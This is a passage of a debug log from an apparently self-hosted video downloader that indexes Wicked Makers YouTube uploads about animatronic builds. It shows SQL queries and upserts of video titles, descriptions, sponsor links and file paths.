Wicked!\n\n#ThePrototype\n#PoppyPlaytime\n#Animatronic", "We made a real PROTOTYPE (that can CRUSH Poppy!)", "a455c5e8-e6eb-45b7-9b6d-19993afed521", "1pBWywI-Ilc", false, "https://www.youtube.com/watch?v=1pBWywI-Ilc", 35, [], 2462, false, 2, "/downloads/shows/Wicked Makers/Season 2026/s2026e041700 - We made a real PROTOTYPE (that can CRUSH Poppy!).mp4", false, false, 98, ~U[2026-04-17 19:59:16Z], ~U[2026-06-02 17:41:44Z], ~U[2026-06-02 17:41:44Z], "Jaimie and Jay make a real PROTOTYPE animatronic! 😱 Thanks to Monarch for partnering with us! Start your free trial and get 50% off your first year of total money clarity using our link: https://monarchmoney.yt.link/6oTRFMj or code: WICKED50.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\n\nSpecial Thanks to:\nFormlabs ►https://formlabs.com/3d-printers/form-4l/?utm_source=youtube&utm_medium=referral&utm_campaign=wickedmakers-f4l-2025-08-11-global\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\nReaper Minis ► https://www.reapermini.com/\nEve Cabanie ► https://www.artstation.com/itsonlyevee\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWho is The Prototype?\nAlso known as Experiment 1006, The Prototype is the main antagonist of Poppy Playtime. He’s been hinted at and teased in past chapters, and in Poppy Playtime Chapter 5, we finally get to see him. We love his design and are so excited to bring him to life as an animatronic.\n\nOur DIY Prototype animatronic will have a strong steel welded frame, a hand tailored outfit, and a super detailed 3d printed resin face printed on our new Formlabs Form4L printer. His head and face will both be able to rotate and can be animated with Purgatory Prop’s Aamon Motor controller. And the best part? His hand will have actual crushing power!\n\nTo test the pneumatic hand of doom, we’ll of course need to make a life-sized Poppy doll. Poor Poppy.\n\nWe hope you enjoyed watching our new Poppy Playtime animatronic build! Let us know who you want us to build next and Stay Wicked!\n\n#ThePrototype\n#PoppyPlaytime\n#Animatronic", "We made a real PROTOTYPE (that can CRUSH Poppy!)", "1pBWywI-Ilc", "https://www.youtube.com/watch?v=1pBWywI-Ilc", 35, 2462, false, "/downloads/shows/Wicked Makers/Season 2026/s2026e041700 - We made a real PROTOTYPE (that can CRUSH Poppy!).mp4", false, ~U[2026-04-17 19:59:16Z]] 13:41:44.562 [debug] QUERY OK source="sources" db=0.1ms idle=22.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:44.562 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:41:44.563 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [129792] 13:41:44.563 [debug] Current batch of media processed. Will check again in 1000ms 13:41:45.564 [debug] Current batch of media processed. Will check again in 1000ms 13:41:46.565 [debug] Current batch of media processed. Will check again in 1000ms 13:41:47.567 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay test the cheapest, weirdest, and most dangerous one star animatronics! Let your fandom shine with Displate metal posters! Use code WICKED for 27% off 1 Displate and 35% off 2+ Displates. https://displate.com/l/wicked\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nWe’re hard at work making the Prototype from Poppy Playtime, but in the meantime we’re trying something fun! We buy questionable animatronics all the time and give them makeovers to turn them into something awesome. In this video, we search for the craziest animatronics we can find, put them to the test, and tell you how we’d turn them into 5 star animatronics.\n\n#Animatronics", "duration" => 1212, "filename" => "/downloads/shows/Wicked Makers/Season 2026/s2026e022500 - We Tested ONE STAR Animatronics!.mp4", "id" => "1Sf-QXdYdBg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1Sf-QXdYdBg", "playlist_index" => 3, "timestamp" => 1772052316, "title" => "We Tested ONE STAR Animatronics!", "upload_date" => "20260225"} 13:41:47.568 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1572.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:41:47.569 [debug] QUERY OK source="sources" db=0.6ms idle=1573.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:47.571 [debug] QUERY OK source="media_items" db=1.2ms idle=1574.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-25 20:45:16Z], 35] 13:41:47.572 [debug] QUERY OK source="media_items" db=0.7ms idle=1029.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay test the cheapest, weirdest, and most dangerous one star animatronics! Let your fandom shine with Displate metal posters! Use code WICKED for 27% off 1 Displate and 35% off 2+ Displates. https://displate.com/l/wicked\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nWe’re hard at work making the Prototype from Poppy Playtime, but in the meantime we’re trying something fun! We buy questionable animatronics all the time and give them makeovers to turn them into something awesome. In this video, we search for the craziest animatronics we can find, put them to the test, and tell you how we’d turn them into 5 star animatronics.\n\n#Animatronics", "We Tested ONE STAR Animatronics!", "2fd811c4-f9b9-408c-97e1-fc830b734a83", "1Sf-QXdYdBg", false, "https://www.youtube.com/watch?v=1Sf-QXdYdBg", 35, [], 1212, false, 3, "/downloads/shows/Wicked Makers/Season 2026/s2026e022500 - We Tested ONE STAR Animatronics!.mp4", false, false, 98, ~U[2026-02-25 20:45:16Z], ~U[2026-06-02 17:41:47Z], ~U[2026-06-02 17:41:47Z], "Jaimie and Jay test the cheapest, weirdest, and most dangerous one star animatronics! Let your fandom shine with Displate metal posters! Use code WICKED for 27% off 1 Displate and 35% off 2+ Displates. https://displate.com/l/wicked\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nWe’re hard at work making the Prototype from Poppy Playtime, but in the meantime we’re trying something fun! We buy questionable animatronics all the time and give them makeovers to turn them into something awesome. In this video, we search for the craziest animatronics we can find, put them to the test, and tell you how we’d turn them into 5 star animatronics.\n\n#Animatronics", "We Tested ONE STAR Animatronics!", "1Sf-QXdYdBg", "https://www.youtube.com/watch?v=1Sf-QXdYdBg", 35, 1212, false, "/downloads/shows/Wicked Makers/Season 2026/s2026e022500 - We Tested ONE STAR Animatronics!.mp4", false, ~U[2026-02-25 20:45:16Z]] 13:41:47.572 [debug] QUERY OK source="sources" db=0.1ms idle=28.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:47.573 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:41:47.573 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122437] 13:41:47.573 [debug] Current batch of media processed. Will check again in 1000ms 13:41:48.574 [debug] Current batch of media processed. Will check again in 1000ms 13:41:49.576 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jay and Jaimie make a real life Withered Bonnie animatronic from FNAF 2!\n👒🔎Download June’s Journey for free now using our link: https://woo.ga/97y8h4cs\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nThe Five Nights at Freddy’s 2 movie is out! To celebrate, we’re making our most requested FNAF character - Withered Bonnie. For the base of our custom Bonnie animatronic, we’re using the Ultra Skelly. He’s a fully customizable Halloween animatronic skeleton from Home Depot that lets you add in custom audio. \n\nBonnie’s suit is a mixture of hand crafted foam and 3D printed pieces. Everything was covered in blue fleece, painted, and carefully attached to the endoskeleton.\n\nWe love how our real life Withered Bonnie turned out! He’s big and scary and he’s going to be the perfect companion to our Withered Foxy. If you want to see more custom DIY FNAF animatronics, we’ve also made Springtrap, The Puppet, Jackie, and the cutest little dancing Freddy. Who do you want to see us make next?!\n\nThanks for watching, thanks for an amazing 2025, and Stay Wicked, y’all!\n\n#FNAF\n#FiveNightsatFreddys\n#FNAFMovie", "duration" => 1806, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e120500 - We made a real WITHERED BONNIE Animatronic from FNAF!.mp4", "id" => "_Hp9lSryglU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_Hp9lSryglU", "playlist_index" => 4, "timestamp" => 1764967360, "title" => "We made a real WITHERED BONNIE Animatronic from FNAF!", "upload_date" => "20251205"} 13:41:49.578 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=581.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:41:49.579 [debug] QUERY OK source="sources" db=0.5ms idle=583.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:49.580 [debug] QUERY OK source="media_items" db=0.4ms idle=584.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 20:42:40Z], 35] 13:41:49.587 [debug] QUERY OK source="media_items" db=6.8ms idle=584.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jay and Jaimie make a real life Withered Bonnie animatronic from FNAF 2!\n👒🔎Download June’s Journey for free now using our link: https://woo.ga/97y8h4cs\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nThe Five Nights at Freddy’s 2 movie is out! To celebrate, we’re making our most requested FNAF character - Withered Bonnie. For the base of our custom Bonnie animatronic, we’re using the Ultra Skelly. He’s a fully customizable Halloween animatronic skeleton from Home Depot that lets you add in custom audio. \n\nBonnie’s suit is a mixture of hand crafted foam and 3D printed pieces. Everything was covered in blue fleece, painted, and carefully attached to the endoskeleton.\n\nWe love how our real life Withered Bonnie turned out! He’s big and scary and he’s going to be the perfect companion to our Withered Foxy. If you want to see more custom DIY FNAF animatronics, we’ve also made Springtrap, The Puppet, Jackie, and the cutest little dancing Freddy. Who do you want to see us make next?!\n\nThanks for watching, thanks for an amazing 2025, and Stay Wicked, y’all!\n\n#FNAF\n#FiveNightsatFreddys\n#FNAFMovie", "We made a real WITHERED BONNIE Animatronic from FNAF!", "807c700b-e830-4053-a52d-415c649012b8", "_Hp9lSryglU", false, "https://www.youtube.com/watch?v=_Hp9lSryglU", 35, [], 1806, false, 4, "/downloads/shows/Wicked Makers/Season 2025/s2025e120500 - We made a real WITHERED BONNIE Animatronic from FNAF!.mp4", false, false, 98, ~U[2025-12-05 20:42:40Z], ~U[2026-06-02 17:41:49Z], ~U[2026-06-02 17:41:49Z], "Jay and Jaimie make a real life Withered Bonnie animatronic from FNAF 2!\n👒🔎Download June’s Journey for free now using our link: https://woo.ga/97y8h4cs\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nThe Five Nights at Freddy’s 2 movie is out! To celebrate, we’re making our most requested FNAF character - Withered Bonnie. For the base of our custom Bonnie animatronic, we’re using the Ultra Skelly. He’s a fully customizable Halloween animatronic skeleton from Home Depot that lets you add in custom audio. \n\nBonnie’s suit is a mixture of hand crafted foam and 3D printed pieces. Everything was covered in blue fleece, painted, and carefully attached to the endoskeleton.\n\nWe love how our real life Withered Bonnie turned out! He’s big and scary and he’s going to be the perfect companion to our Withered Foxy. If you want to see more custom DIY FNAF animatronics, we’ve also made Springtrap, The Puppet, Jackie, and the cutest little dancing Freddy. Who do you want to see us make next?!\n\nThanks for watching, thanks for an amazing 2025, and Stay Wicked, y’all!\n\n#FNAF\n#FiveNightsatFreddys\n#FNAFMovie", "We made a real WITHERED BONNIE Animatronic from FNAF!", "_Hp9lSryglU", "https://www.youtube.com/watch?v=_Hp9lSryglU", 35, 1806, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e120500 - We made a real WITHERED BONNIE Animatronic from FNAF!.mp4", false, ~U[2025-12-05 20:42:40Z]] 13:41:49.587 [debug] QUERY OK source="sources" db=0.2ms idle=40.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:49.588 [debug] QUERY OK source="media_profiles" db=0.1ms idle=9.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:41:49.588 [debug] QUERY OK source="media_items" db=0.2ms idle=8.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122438] 13:41:49.588 [debug] Current batch of media processed. Will check again in 1000ms 13:41:50.589 [debug] Current batch of media processed. Will check again in 1000ms 13:41:51.591 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay make a real Mommy Long Legs animatronic! 💀\nGrab your K2 Combo with 5% off using code: WICKED -- Works with existing promos! ► https://store.creality.com/products/k2-combo-3d-printer?utm_source=youtube&utm_medium=%5B%E2%80%A6%5Dtm_campaign%3Dk2_combo_product_page&utm_content=wicked_makers\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nJoin Creality Cloud’s Halloween 3D Design Contest before Nov 9 and win K2 printers, cash, and more! https://www.crealitycloud.com/contest/Halloween?tab=2\n\nMommy Long Legs Model is on our Patreon! ► (WITHIN 1-2 DAYS)\nhttps://patreon.com/wickedmakers\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nSpecial Thanks to:\nBeardless Props ► https://instagram.com/beardlessprops\nGhost Ride Productions ► https://ghostride.com\n\nWho is MOMMY LONG LEGS?!\nMommy Longlegs is a stretchy, spider-like giant toy who’s the main antagonist from Poppy Playtime Chapter 2 (created by Mob Entertainment). She’s twisty and creepy and very deranged. That makes her the perfect choice for us to build to scare trick-or-treaters this Halloween 2025. \n\nTo create our Mommy Long Legs Halloween animatronic, we first built a pneumatic mech so we could perfect her jump scare animation. Then we 3D modeled and 3D printed all of her body parts. We built her arms and legs from rubber pipe insulation and then painted everything so that she looked like an old plastic toy. Finally we put her on our porch to be the ultimate scary Halloween decoration.\n\nWe love how our real life Mommy Long Legs turned out! She’s an awesome jump scare pneumatic prop and she's going to make the perfect companion to our growing collection of custom Poppy Playtime Halloween animatronics like our Catnap, Huggy Wuggy, Yarnaby, and The Doctor animatronics. Who do you want to see us make next? And where do we put her when Halloween is over?!\n\nThanks for watching, Happy Halloween, and Stay Wicked, y’all!\n\n#MommyLongLegs\n#PoppyPlaytime\n#Halloween", "duration" => 1252, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e102900 - We made a real MOMMY LONG LEGS Animatronic!.mp4", "id" => "ZGKi5nV0RBw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZGKi5nV0RBw", "playlist_index" => 5, "timestamp" => 1761766482, "title" => "We made a real MOMMY LONG LEGS Animatronic!", "upload_date" => "20251029"} 13:41:51.592 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=596.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:41:51.594 [debug] QUERY OK source="sources" db=0.6ms idle=597.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:51.596 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=599.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-29 19:34:42Z], 35] 13:41:51.598 [debug] QUERY OK source="media_items" db=1.1ms idle=601.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real Mommy Long Legs animatronic! 💀\nGrab your K2 Combo with 5% off using code: WICKED -- Works with existing promos! ► https://store.creality.com/products/k2-combo-3d-printer?utm_source=youtube&utm_medium=%5B%E2%80%A6%5Dtm_campaign%3Dk2_combo_product_page&utm_content=wicked_makers\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nJoin Creality Cloud’s Halloween 3D Design Contest before Nov 9 and win K2 printers, cash, and more! https://www.crealitycloud.com/contest/Halloween?tab=2\n\nMommy Long Legs Model is on our Patreon! ► (WITHIN 1-2 DAYS)\nhttps://patreon.com/wickedmakers\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nSpecial Thanks to:\nBeardless Props ► https://instagram.com/beardlessprops\nGhost Ride Productions ► https://ghostride.com\n\nWho is MOMMY LONG LEGS?!\nMommy Longlegs is a stretchy, spider-like giant toy who’s the main antagonist from Poppy Playtime Chapter 2 (created by Mob Entertainment). She’s twisty and creepy and very deranged. That makes her the perfect choice for us to build to scare trick-or-treaters this Halloween 2025. \n\nTo create our Mommy Long Legs Halloween animatronic, we first built a pneumatic mech so we could perfect her jump scare animation. Then we 3D modeled and 3D printed all of her body parts. We built her arms and legs from rubber pipe insulation and then painted everything so that she looked like an old plastic toy. Finally we put her on our porch to be the ultimate scary Halloween decoration.\n\nWe love how our real life Mommy Long Legs turned out! She’s an awesome jump scare pneumatic prop and she's going to make the perfect companion to our growing collection of custom Poppy Playtime Halloween animatronics like our Catnap, Huggy Wuggy, Yarnaby, and The Doctor animatronics. Who do you want to see us make next? And where do we put her when Halloween is over?!\n\nThanks for watching, Happy Halloween, and Stay Wicked, y’all!\n\n#MommyLongLegs\n#PoppyPlaytime\n#Halloween", "We made a real MOMMY LONG LEGS Animatronic!", "d4aac0b0-118d-42c8-a107-084c87f0131f", "ZGKi5nV0RBw", false, "https://www.youtube.com/watch?v=ZGKi5nV0RBw", 35, [], 1252, false, 5, "/downloads/shows/Wicked Makers/Season 2025/s2025e102900 - We made a real MOMMY LONG LEGS Animatronic!.mp4", false, false, 98, ~U[2025-10-29 19:34:42Z], ~U[2026-06-02 17:41:51Z], ~U[2026-06-02 17:41:51Z], "Jaimie and Jay make a real Mommy Long Legs animatronic! 💀\nGrab your K2 Combo with 5% off using code: WICKED -- Works with existing promos! ► 